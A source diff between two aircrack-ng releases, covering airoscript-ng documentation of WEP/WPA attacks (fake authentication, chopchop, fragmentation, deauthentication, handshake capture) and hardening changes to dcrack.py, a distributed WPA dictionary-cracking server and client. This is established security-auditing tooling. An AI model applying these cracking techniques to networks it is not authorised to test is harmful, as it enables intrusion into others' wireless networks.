 Almost same as fake auth, automatic, except for aireplay being called in interactive mode, wich will force the user to select a packet instead of injecting the first that it gets.
 
-Have a look at _Fake auth at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fake_authentication
+Have a look at _Fake auth at aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=fake_authentication
 
 Fragmentation attack
 +++++++++++++++++++++++
@@ -92,7 +92,7 @@
     is correct after guessing the missing parts of it. This attack requires at
     least one WEP data packet. 
 
-Have a look at its aircrack-ng docs at _aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=korek_chopchop
+Have a look at its aircrack-ng docs at _aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=korek_chopchop
 
 Attacks using a client
 ======================
@@ -155,4 +155,4 @@
     which can be captured by airodump-ng. Subsequently, aircrack-ng can be used
     to determine the WEP key.
 
-Have a look at its aircrack-ng docs at _aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=caffe-lat
+Have a look at its aircrack-ng docs at _aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=caffe-lat

aircrack-ng-1.2-rc4.tar.gz/scripts/airoscript-ng/doc/rst/attack-wep.rst.html -> aircrack-ng-1.4.tar.gz/scripts/airoscript-ng/doc/rst/attack-wep.rst.html Changed

@@ -42,13 +42,13 @@
 which allow you to determine the WEP key.
 </pre>
 <p>In interactive mode, you'll be asked for the &quot;f&quot; (from-to destination bit), making you able to make it into a t, and the destmac (wich, by default, is FF:FF:FF:FF:FF:FF)</p>
-<p>Have a look at _Fake auth at aircrack-ng wiki: <a class="reference external" href="http://www.aircrack-ng.org/doku.php?id=fake_authentication">http://www.aircrack-ng.org/doku.php?id=fake_authentication</a>
-and _ARP replay at: <a class="reference external" href="http://www.aircrack-ng.org/doku.php?id=arp-request_reinjection">http://www.aircrack-ng.org/doku.php?id=arp-request_reinjection</a></p>
+<p>Have a look at _Fake auth at aircrack-ng wiki: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=fake_authentication">https://www.aircrack-ng.org/doku.php?id=fake_authentication</a>
+and _ARP replay at: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=arp-request_reinjection">https://www.aircrack-ng.org/doku.php?id=arp-request_reinjection</a></p>
 </div>
 <div class="section" id="fake-auth-interactive">
 <h2>Fake auth (Interactive)</h2>
 <p>Almost same as fake auth, automatic, except for aireplay being called in interactive mode, wich will force the user to select a packet instead of injecting the first that it gets.</p>
-<p>Have a look at _Fake auth at aircrack-ng wiki: <a class="reference external" href="http://www.aircrack-ng.org/doku.php?id=fake_authentication">http://www.aircrack-ng.org/doku.php?id=fake_authentication</a></p>
+<p>Have a look at _Fake auth at aircrack-ng wiki: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=fake_authentication">https://www.aircrack-ng.org/doku.php?id=fake_authentication</a></p>
 </div>
 <div class="section" id="fragmentation-attack">
 <h2>Fragmentation attack</h2>
@@ -79,7 +79,7 @@
 is correct after guessing the missing parts of it. This attack requires at
 least one WEP data packet.
 </pre>
-<p>Have a look at its aircrack-ng docs at _aircrack-ng wiki: <a class="reference external" href="http://www.aircrack-ng.org/doku.php?id=korek_chopchop">http://www.aircrack-ng.org/doku.php?id=korek_chopchop</a></p>
+<p>Have a look at its aircrack-ng docs at _aircrack-ng wiki: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=korek_chopchop">https://www.aircrack-ng.org/doku.php?id=korek_chopchop</a></p>
 </div>
 </div>
 <div class="section" id="attacks-using-a-client">
@@ -126,7 +126,7 @@
 which can be captured by airodump-ng. Subsequently, aircrack-ng can be used
 to determine the WEP key.
 </pre>
-<p>Have a look at its aircrack-ng docs at _aircrack-ng wiki: <a class="reference external" href="http://www.aircrack-ng.org/doku.php?id=caffe-lat">http://www.aircrack-ng.org/doku.php?id=caffe-lat</a></p>
+<p>Have a look at its aircrack-ng docs at _aircrack-ng wiki: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=caffe-lat">https://www.aircrack-ng.org/doku.php?id=caffe-lat</a></p>
 </div>
 </div>
 </div>

aircrack-ng-1.2-rc4.tar.gz/scripts/airoscript-ng/doc/rst/attack-wpa.rst -> aircrack-ng-1.4.tar.gz/scripts/airoscript-ng/doc/rst/attack-wpa.rst Changed

aircrack-ng-1.2-rc4.tar.gz/scripts/airoscript-ng/doc/rst/attack-wpa.rst.html -> aircrack-ng-1.4.tar.gz/scripts/airoscript-ng/doc/rst/attack-wpa.rst.html Changed

@@ -19,7 +19,7 @@
 <dd>airodump-ng -w DUMP_PATH/HOST_MAC --bssid HOST_MAC --channel CHANNEL -a WIFI_INTERFACE</dd>
 </dl>
 <p>It will ask you for the kind of deauth attack you want to use (have a look at Authentication) TODO: ADD LINK</p>
-<p>You can read more about it on: <a class="reference external" href="http://www.aircrack-ng.org/doku.php?id=cracking_wpa&amp;s[]=wpa">http://www.aircrack-ng.org/doku.php?id=cracking_wpa&amp;s[]=wpa</a></p>
+<p>You can read more about it on: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=cracking_wpa&amp;s[]=wpa">https://www.aircrack-ng.org/doku.php?id=cracking_wpa&amp;s[]=wpa</a></p>
 </div>
 <div class="section" id="wmm-attack">
 <h1>WMM Attack</h1>
@@ -43,7 +43,7 @@
 you can create new packets and inject them. The creation and injection are
 done using the other aircrack-ng suite tools.
 </pre>
-<p>You can read more here: <a class="reference external" href="http://www.aircrack-ng.org/doku.php?id=tkiptun-ng">http://www.aircrack-ng.org/doku.php?id=tkiptun-ng</a></p>
+<p>You can read more here: <a class="reference external" href="https://www.aircrack-ng.org/doku.php?id=tkiptun-ng">https://www.aircrack-ng.org/doku.php?id=tkiptun-ng</a></p>
 </div>
 </div>
 </body>

aircrack-ng-1.2-rc4.tar.gz/scripts/airoscript-ng/doc/rst/others.rst.html -> aircrack-ng-1.4.tar.gz/scripts/airoscript-ng/doc/rst/others.rst.html Changed

aircrack-ng-1.2-rc4.tar.gz/scripts/airoscript-ng/doc/rst/others/advanced.rst -> aircrack-ng-1.4.tar.gz/scripts/airoscript-ng/doc/rst/others/advanced.rst Changed

@@ -15,14 +15,14 @@
 
     This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet.
 
-.. _ChopChop on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=korek_chopchop
+.. _ChopChop on aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=korek_chopchop
 
 About frag attack (got from aircrack-ng wiki):
 
 ::
     This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack.
 
-.. _Fragmentation attack on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fragmentation
+.. _Fragmentation attack on aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=fragmentation
 
 
 Autentication
@@ -36,7 +36,7 @@
 
    The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points.
 
-.. _Fake auth attack on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=fake_authentication
+.. _Fake auth attack on aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=fake_authentication
 
 Deauth attack, from aircrack-ng wiki:
 
@@ -48,7 +48,7 @@
     - Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected)
     - Of course, this attack is totally useless if there are no associated wireless client or on fake authentications.
 
-.. _Deauth attack on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=deauthentication
+.. _Deauth attack on aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=deauthentication
 
 
 Operations with ivstools
@@ -61,7 +61,7 @@
 
 Launches a nice selection menu about airdecloack-ng options.
 
-.. _Airdecloack-ng on aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=airdecloak-ng
+.. _Airdecloack-ng on aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=airdecloak-ng
 
 :: 
     Airdecloak-ng is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) actively “prevent” cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff.
@@ -85,10 +85,10 @@
     
     Wesside-ng is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention.
 
-.. _Wesside-ng at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=wesside-ng
+.. _Wesside-ng at aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=wesside-ng
 
 Easside-ng
 +++++++++++
 
 An auto-magic tool which allows you to communicate via an WEP-encrypted AP without knowing the key
-.. _easside-ng at aircrack-ng wiki: http://www.aircrack-ng.org/doku.php?id=easside-ng
+.. _easside-ng at aircrack-ng wiki: https://www.aircrack-ng.org/doku.php?id=easside-ng

aircrack-ng-1.2-rc4.tar.gz/scripts/dcrack.py -> aircrack-ng-1.4.tar.gz/scripts/dcrack.py Changed

@@ -12,6 +12,9 @@
 import json
 import datetime
 import re
+import socket
+import tempfile
+import errno
 
 if sys.version_info[0] >= 3:
 	from socketserver import ThreadingTCPServer
@@ -64,25 +67,17 @@
 
 		f = "dcrack-dict"
 		c = f + ".gz"
-		o = open(c, "wb")
-		cl = int(s.headers['Content-Length'])
-		o.write(s.rfile.read(cl))
-		o.close()
+		with open(c, "wb") as fid:
+			cl = int(s.headers['Content-Length'])
+			fid.write(s.rfile.read(cl))
 
 		decompress(f)
-	
-		sha1 = hashlib.sha1()
-		x = open(f, "rb")
-		sha1.update(x.read())
-		x.close()
-		h = sha1.hexdigest()
 
-		x = open(f, "rb")
-		for i, l in enumerate(x):
-			pass
+		h = get_sha1sum_string(f)
 
-		i = i + 1
-		x.close()
+		with open(f, "rb") as fid:
+			for i, l in enumerate(fid):	pass
+			i += 1
 
 		n = "%s-%s.txt" % (f, h)
 		os.rename(f, n)
@@ -94,13 +89,29 @@
 
 	def do_upload_cap(s):
 		cl = int(s.headers['Content-Length'])
-		f = open("dcrack.cap.tmp.gz", "wb")
-		f.write(s.rfile.read(cl))
-		f.close()
+		tmp_cap = "/tmp/" + next(tempfile._get_candidate_names()) + ".cap"
+		with open(tmp_cap + ".gz", "wb") as fid:
+			fid.write(s.rfile.read(cl))
+
+		decompress(tmp_cap)
+        
+		# Check file is valid
+		output = subprocess.check_output(['wpaclean', tmp_cap + ".tmp", tmp_cap])
+		try:
+			os.remove(tmp_cap + ".tmp")
+		except:
+			pass
 
-		decompress("dcrack.cap.tmp")
-		os.rename("dcrack.cap.tmp.gz", "dcrack.cap.gz")
-		os.rename("dcrack.cap.tmp", "dcrack.cap")
+		output_split = output.splitlines()
+		if len(output_split) > 2:
+			# We got more than 2 lines, which means there is a network
+			#  in there with a WPA/2 PSK handshake
+			os.rename(tmp_cap + ".gz", "dcrack.cap.gz")
+			os.rename(tmp_cap, "dcrack.cap")
+		else:
+			 # If nothing in the file, just delete it
+			os.remove(tmp_cap)
+			os.remove(tmp_cap + ".gz")
 
 	def do_req(s, path):
 		con = get_con()
@@ -146,18 +157,43 @@
 		return "error"
 
 	def remove(s, path):
-		con = get_con()
-
 		p = path.split("/")
 		n = p[4].upper()
+		not_found = 0
+
+		# Validate BSSID
+		if not is_bssid_value(n):
+			return "NO"
+
+		con = get_con()
 
+		# Delete from nets
 		c = con.cursor()
-		c.execute("DELETE from nets where bssid = ?", (n,))
+		c.execute("SELECT * from nets where bssid = ?", (n,))
+		r = c.fetchall()
+		if r:
+			con.commit()
+			not_found += 1
+			c = con.cursor()
+			c.execute("DELETE from nets where bssid = ?", (n,))
 		con.commit()
 
-		c.execute("DELETE from work where net = ?", (n,))
+		# Delete from works
+		c = con.cursor()
+		c.execute("SELECT * from work where net = ?", (n,))
+		r = c.fetchall()
+		if r:
+			con.commit()
+			not_found += 1
+			c = con.cursor()
+			c.execute("DELETE from work where net = ?", (n,))
 		con.commit()
-		
+
+		# If both failed, return NO.
+		if not_found == 2:
+			return "NO"
+
+		# Otherwise, return OK
 		return "OK"
 
 	def get_status(s):
@@ -166,10 +202,7 @@
 		c = con.cursor()
 		c.execute("SELECT * from clients")
 	
-		clients = []
-
-		for r in c.fetchall():
-			clients.append(r['speed'])
+		clients = [r['speed'] for r in c.fetchall()]
 
 		nets = []
 
@@ -207,10 +240,9 @@
 
 		pf = "dcrack-pass.txt"
 
-		f = open(pf, "w")
-		f.write(pw)
-		f.write("\n")
-		f.close()
+		with open(pf, "w") as fid:
+			fid.write(pw)
+			fid.write("\n")
 
 		cmd = ["aircrack-ng", "-w", pf, "-b", net, "-q", "dcrack.cap"]
 		p = subprocess.Popen(cmd, stdout=subprocess.PIPE, \
@@ -249,10 +281,13 @@
 
 		p = path.split("/")
 		n = p[4].upper()
+		if not is_bssid_value(n):
+			return "NO"
 
 		x  = urlparse(path)
 		qs = parse_qs(x.query)
 
+		# TODO: Verify client ID sending it
 		if "pass" in qs:
 			return s.do_result_pass(n, qs['pass'][0])
 
@@ -315,9 +350,8 @@
 		s.end_headers()
 
 		# XXX openat
-		f = open(fn, "rb")
-		s.wfile.write(f.read())
-		f.close()
+		with open(fn, "rb") as fid:
+			s.wfile.write(fid.read())
 
 		return None
 
@@ -327,12 +361,31 @@
 		p = path.split("/")
 
 		n = p[4].upper()
+		# Validate BSSID
+		if not is_bssid_value(n):
+			return "NO"
 
+		# Only add network if it isn't already in there
+		# Update it if it failed cracking only
 		c = con.cursor()
-		c.execute("INSERT into nets values (?, NULL, 1)", (n,))
-		con.commit()
+		c.execute("SELECT * from nets where bssid = ?", (n,))
+		r = c.fetchone()
+		if r == None:
+			# Not in there, add it
+			c.execute("INSERT into nets values (?, NULL, 1)", (n,))
+			con.commit()
+			return "OK"
 
-		return "OK"
+		# Network already exists but has failed cracking
+		if r['state'] == 2 and r['pass'] == None:
+			c.execute("UPDATE nets SET state = 1 WHERE bssid = ?", (n,))
+			con.commit()
+			return "OK"
+
+        # State == 1: Just added or being worked on
+        # State == 2 and Pass exists: Already successfully cracked
+		con.commit()
+		return "NO"
 
 	def do_dict_set(s, path):
 		con = get_con()
@@ -340,6 +393,9 @@
 		p = path.split("/")
 
 		h = p[4]
+		# Validate hash
+		if not is_sha1sum(h):
+			return "NO"
 
 		c = con.cursor()
 		c.execute("UPDATE dict set current = 0")
@@ -394,7 +450,7 @@
 					s = row['start'] - i
 				break
 
-			if (i >= row['start'] and i <= row['end']):
+			if (row['start'] <= i <= row['end']):
 				i = row['end']
 			else:
 				found = True
@@ -464,9 +520,7 @@
 		d = p[4]
 
 		try:
-			f = open("dcrack-dict-%s.txt" % d)
-			f.close()
-
+			with open("dcrack-dict-%s.txt" % d): pass
 			return "OK"
 		except:
 			return "NO"
@@ -514,11 +568,19 @@
 def server():
 	init_db()
 
-	server_class = ThreadingTCPServer 
-	httpd = server_class(('', port), ServerHandler)
+	server_class = ThreadingTCPServer
+	try:
+		httpd = server_class(('', port), ServerHandler)
+	except socket.error as exc:
+		print("Failed listening on port %d" % port)
+		return
 
 	print("Starting server")
-	httpd.serve_forever()
+	try:
+		httpd.serve_forever()
+	except KeyboardInterrupt:
+		print("Bye!")
+	httpd.server_close()
 
 def usage():
 	print("""dcrack v0.3
@@ -579,12 +641,24 @@
 	crack = json.loads(stuff)
 
 	if "interval" in crack:
-		print("Waiting")
-		return int(crack['interval'])
+		# Validate value
+		try:
+			interval = int(crack['interval'])
+			if (interval < 0):
+				raise ValueError('Interval must be above or equal to 0')
+		except:
+			# In case of failure, default to 60 sec
+			interval = 60
+		print("Waiting %d sec" % interval)
+		return interval
 
 	wl  = setup_dict(crack)
 	cap = get_cap(crack)
 
+	# If there's anything wrong with it, skip cracking
+	if wl == None or cap == None:
+		return
+
 	print("Cracking")
 
 	cmd = ["aircrack-ng", "-w", wl, "-b", crack['net'], "-q", cap]
@@ -623,65 +697,72 @@
 	return 0
 
 def decompress(fn):
-	f = gzip.open(fn + ".gz")
-	o = open(fn, "wb")
-	o.writelines(f)
-	o.close()
-	f.close()
+	with gzip.open(fn + ".gz") as fid1:
+		with open(fn, "wb") as fid2:
+			fid2.writelines(fid1)
 
 def setup_dict(crack):
 	global url
 
 	d = crack['dict']
+	if not re.compile("^[a-f0-9]{5,40}").match(d):
+		print("Invalid dictionary: %s" % d)
+		return None
+
+	#if not re.match("^[0-9]+$", d['start']) or not re.match("^[0-9]+$", d['end']):
+	if crack['start'] < 0 or crack['end'] < 0:
+		print("Wordlist: Invalid start or end line positions")
+		return None
+	if crack['end'] <= crack['start']:
+		print("Wordlist: End line position must be greater than start position")
+		return None
 
 	fn = "dcrack-client-dict-%s.txt" % d
 
 	try:
-		f = open(fn)
-		f.close()
+		with open(fn): pass
 	except:
 		print("Downloading dictionary %s" % d)
 
 		u = "%sdict/%s" % (url, d)
 		stuff = urlopen(u)
 
-		f = open(fn + ".gz", "wb")
-		f.write(stuff.read())
-		f.close()
+		with open(fn + ".gz", "wb") as fid:
+			fid.write(stuff.read())
 
 		print("Uncompressing dictionary")
 		decompress(fn)
-	
-		sha1 = hashlib.sha1()
-		f = open(fn, "rb")
-		sha1.update(f.read())
-		f.close()
-		h = sha1.hexdigest()
+
+		h = get_sha1sum_string(fn)
 
 		if h != d:
-			print("bad dictionary")
-			exit(1)
+			print("Bad dictionary, SHA1 don't match")
+			return None
 
+	# Split wordlist
 	s = "dcrack-client-dict-%s-%d:%d.txt" \
 		% (d, crack['start'], crack['end']) 
 
 	try:
-		f = open(s)
-		f.close()
+		with open(s): pass
 	except:
 		print("Splitting dict %s" % s)
-		f = open(fn, "rb")
-		o = open(s, "wb")
-
-		for i, l in enumerate(f):
-			if i >= crack['end']:
-				break
-
-			if i >= crack['start']:
-				o.write(l)
-
-		f.close()
-		o.close()
+		with open(fn, "rb") as fid1:
+			with open(s, "wb") as fid2:
+				for i, l in enumerate(fid1):
+					if i >= crack['end']:
+						break
+					if i >= crack['start']:
+						fid2.write(l)
+
+	# Verify wordlist isn't empty
+	try:
+		if os.stat(s).st_size == 0:
+			print("Empty dictionary file!")
+			return None
+	except:
+		print("Dictionary does not exists!")
+		return None;
 
 	return s
 
@@ -696,8 +777,7 @@
 		return fn
 
 	try:
-		f = open(fn, "rb")
-		f.close()
+		with open(fn, "rb"): pass
 		check_cap(fn, bssid)
 	except:
 		pass
@@ -710,9 +790,8 @@
 
 	stuff = urlopen(u)
 
-	f = open(fn + ".gz", "wb")
-	f.write(stuff.read())
-	f.close()
+	with open(fn + ".gz", "wb") as fid:
+		fid.write(stuff.read())
 
 	print("Uncompressing cap")
 	decompress(fn)
@@ -721,7 +800,8 @@
 	check_cap(fn, bssid)
 
 	if bssid not in nets:
-		raise BaseException("Can't find net %s" % bssid)
+		printf("Can't find net %s" % bssid)
+		return None
 
 	return fn
 
@@ -801,6 +881,7 @@
 
 	try_ping(speed)
 	t = threading.Thread(target=pinger, args=(speed,))
+	t.daemon = True
 	t.start()
 
 	while True:
@@ -817,7 +898,6 @@
 	except KeyboardInterrupt:
 		if cracker:
 			cracker.kill()
-		print("one more time...")
 
 def upload_file(url, f):
 	x  = urlparse(url)
@@ -825,21 +905,18 @@
 
 	# XXX not quite HTTP form
 
-	f = open(f, "rb")
-	c.request("POST", x.path, f)
-	res = c.getresponse()
-	stuff = res.read()
-	c.close()
-	f.close()
+	with open(f, "rb") as fid:
+		c.request("POST", x.path, fid)
+		res = c.getresponse()
+		stuff = res.read()
+		c.close()
 
 	return stuff
 
 def compress_file(f):
-	i = open(f, "rb")
-	o = gzip.open(f + ".gz", "wb")
-	o.writelines(i)
-	o.close()
-	i.close()
+	with open(f, "rb") as fid1:
+		with gzip.open(f + ".gz", "wb") as fid2:
+			fid2.writelines(fid1)
 
 def send_dict():
 	global url
@@ -850,14 +927,31 @@
 
 	d = sys.argv[4]
 
-	print("Calculating dictionary hash for %s" % d)
-
-	sha1 = hashlib.sha1()
-	f = open(d, "rb")
-	sha1.update(f.read())
-	f.close()
-
-	h = sha1.hexdigest()
+	# Check if file exists
+	try:
+		if os.stat(d).st_size == 0:
+			print("Empty dictionary file!")
+			return
+	except:
+		print("Dictionary does not exists!")
+		return;
+
+	print("Cleaning up dictionary")
+	new_dict = "/tmp/" + next(tempfile._get_candidate_names()) + ".txt"
+	with open(new_dict, 'w') as fout:
+		with open(d) as fid:
+			for line in fid:
+				cleaned_line = line.rstrip("\n")
+				if len(cleaned_line) >= 8 and len(cleaned_line) <= 63:
+					fout.write(cleaned_line + "\n")
+
+	if os.stat(new_dict).st_size == 0:
+		os.remove(new_dict)
+		print("No valid passphrase in dictionary")
+		return
+
+	print("Calculating dictionary hash for cleaned up %s" % d)
+	h = get_sha1sum_string(new_dict)
 
 	print("Hash is %s" % h)
 
@@ -867,9 +961,11 @@
 	if "NO" in str(stuff):
 		u = url + "dict/create"
 		print("Compressing dictionary")
-		compress_file(d)
+		compress_file(new_dict)
+		os.remove(new_dict)
 		print("Uploading dictionary")
-		upload_file(u, d + ".gz")
+		upload_file(u, new_dict + ".gz")
+		os.remove(new_dict + ".gz")
 
 	print("Setting dictionary to %s" % d)
 	u = url + "dict/" + h + "/set"
@@ -884,18 +980,50 @@
 
 	cap = sys.argv[4]
 
+	# Check if file exists
+	try:
+		if os.stat(cap).st_size <= 24:
+			# It may exists but contain no packets.
+			print("Empty capture file!")
+			return
+	except:
+		print("Capture file does not exists!")
+		return;
+
 	print("Cleaning cap %s" % cap)
-	subprocess.Popen(["wpaclean", cap + ".clean", cap], \
+	clean_cap = "/tmp/" + next(tempfile._get_candidate_names()) + ".cap"
+	subprocess.Popen(["wpaclean", clean_cap, cap], \
 	   stderr=subprocess.STDOUT, stdout=subprocess.PIPE).communicate()[0]
 
+	# Check cleaned file size (24 bytes -> 0 packets in file)
+	if os.stat(clean_cap).st_size <= 24:
+		print("Empty cleaned PCAP file, something's wrong with the original PCAP!")
+		return
+
 	print("Compressing cap")
-	compress_file(cap + ".clean")
+	compress_file(clean_cap)
+	os.remove(clean_cap)
 
 	u = url + "cap/create"
-	upload_file(u, cap + ".clean.gz")
+	ret = upload_file(u, clean_cap + ".gz")
+	if ret == "OK":
+		print("Upload successful")
+	elif ret == "NO":
+		print("Failed uploading wordlist")
+	else:
+		print("Unknown return value from server: %s" % (ret,))
+
+	# Delete temporary file
+	os.remove(clean_cap + ".gz")
 
 def cmd_crack():
-	net_cmd("crack")
+	ret = net_cmd("crack")
+	if ret == "OK":
+		print("Cracking job successfully added")
+	elif ret == "NO":
+		print("Failed adding cracking job!")
+	else:
+		print("Unknown return value from server: %s" % (ret,))
 
 def net_cmd(op):
 	global url
@@ -908,7 +1036,7 @@
 
 	print("%s %s" % (op, bssid))
 	u = "%snet/%s/%s" % (url, bssid, op)
-	stuff = urlopen(u).read()
+	return urlopen(u).read()
 
 def cmd_remove():
 	net_cmd("remove")
@@ -919,16 +1047,12 @@
 
 	stuff = json.loads(stuff.decode("utf-8"))
 
-#	print(stuff)
-#	print("=============")
-
-	i = 0
 	speed = 0
-	for c in stuff['clients']:
-		i += 1
+	idx = 0
+	for idx, c in enumerate(stuff['clients'], start=1):
 		speed += c
 
-	print("Clients\t%d\nSpeed\t%d\n" % (i, speed))
+	print("Clients\t%d\nSpeed\t%d\n" % (idx, speed))
 
 	need = 0
 
@@ -980,6 +1104,22 @@
 		print("Unknown cmd %s" % cmd)
 		usage()
 
+def get_sha1sum_string(f):
+		sha1 = hashlib.sha1()
+		with open(f, "rb") as fid:
+			sha1.update(fid.read())
+		return sha1.hexdigest()
+
+def is_sha1sum(h):
+	if re.match("[0-9a-fA-F]{40}", h):
+		return True
+	return False
+
+def is_bssid_value(b):
+	if re.match("([A-Fa-f0-9]{2}:){5}[A-Fa-f0-9]{2}", b):
+		return True
+	return False
+
 def main():
 	if len(sys.argv) < 2:
 		usage()
@@ -989,9 +1129,23 @@
 	if cmd == "server":
 		server()
 	elif cmd == "client":
-		client()
+		try:
+			client()
+		except KeyboardInterrupt:
+			pass
 	elif cmd == "cmd":
-		do_cmd()
+		try:
+			do_cmd()
+		except URLError as ue:
+			if "Connection refused" in ue.reason:
+				print("Connection to %s refused" % (sys.argv[2],))
+			else:
+				print(ue.reason)
+		except socket.error as se:
+			if se.errno == errno.ECONNREFUSED:
+				print("Connection refused")
+			else:
+				print(se)
 	else:
 		print("Unknown cmd", cmd)
 		usage()

aircrack-ng-1.4.tar.gz/scripts/versuck-ng/Makefile.am Added

@@ -0,0 +1,47 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+dist_man1_MANS = versuck-ng.1
+
+dist_bin_SCRIPTS = versuck-ng
+
+EXTRA_DIST = README
+
+
+@CODE_COVERAGE_RULES@

aircrack-ng-1.2-rc4.tar.gz/scripts/versuck-ng/versuck-ng -> aircrack-ng-1.4.tar.gz/scripts/versuck-ng/versuck-ng Changed

aircrack-ng-1.4.tar.gz/src/Makefile.am Added

@@ -0,0 +1,325 @@
+# Aircrack-ng
+#
+# Copyright (C) 2017 Joseph Benden <joe@benden.us>
+#
+# Autotool support was written by: Joseph Benden <joe@benden.us>
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+#
+# In addition, as a special exception, the copyright holders give
+# permission to link the code of portions of this program with the
+# OpenSSL library under certain conditions as described in each
+# individual source file, and distribute linked combinations
+# including the two.
+#
+# You must obey the GNU General Public License in all respects
+# for all of the code used other than OpenSSL.
+#
+# If you modify file(s) with this exception, you may extend this
+# exception to your dnl version of the file(s), but you are not obligated
+# to do so.
+#
+# If you dnl do not wish to do so, delete this exception statement from your
+# version.
+#
+# If you delete this exception statement from all source files in the
+# program, then also delete it here.
+
+SUBDIRS = aircrack-crypto aircrack-util include aircrack-osdep
+
+AM_CPPFLAGS = -I$(top_srcdir) \
+              -I$(top_srcdir)/src/include \
+              $(CRYPTO_INCLUDES)
+
+SRC_LINECOUNT	= linecount.cpp
+LIBLINECOUNT_LIBS = liblinecount.la
+
+SRC_PTW		= aircrack-ptw-lib.c
+LIBPTW_LIBS	= libptw.la
+
+SRC_AC		= aircrack-ng.c
+SRC_AC_ALL  = aircrack-ng.c
+
+SRC_AD		= airdecap-ng.c
+SRC_PF		= packetforge-ng.c
+SRC_AR		= aireplay-ng.c
+SRC_ADU		= airodump-ng.c
+
+SRC_AT		= airtun-ng.c
+SRC_IV		= ivstools.c
+SRC_AS		= airserv-ng.c
+SRC_WS		= wesside-ng.c
+SRC_BS		= besside-ng.c
+SRC_BC		= besside-ng-crawler.c
+SRC_AL		= airolib-ng.c
+
+LIBCOW_LIBS	= libcow.la
+SRC_COW		= cowpatty.c
+
+SRC_ES		= easside-ng.c
+SRC_BUDDY	= buddy-ng.c
+SRC_MI		= makeivs-ng.c
+SRC_AB		= airbase-ng.c
+SRC_AU		= airdecloak-ng.c
+SRC_TT		= tkiptun-ng.c
+SRC_WC		= wpaclean.c
+SRC_AV		= airventriloquist-ng.c
+
+SRC_ACLIB	= crypto.c $(SSEC_INT) uniqueiv.c session.c
+LIBAC	= libaclib.la
+LIBAC_LIBS = libaclib.la
+
+AC_COMMON = crypto.c uniqueiv.c session.c
+
+if LIBGCRYPT
+SRC_AC          += sha1-git.c
+SRC_AC_ALL              += sha1-git.c
+SRC_ACLIB               += sha1-git.c
+SRC_AD          += sha1-git.c
+SRC_PF          += sha1-git.c
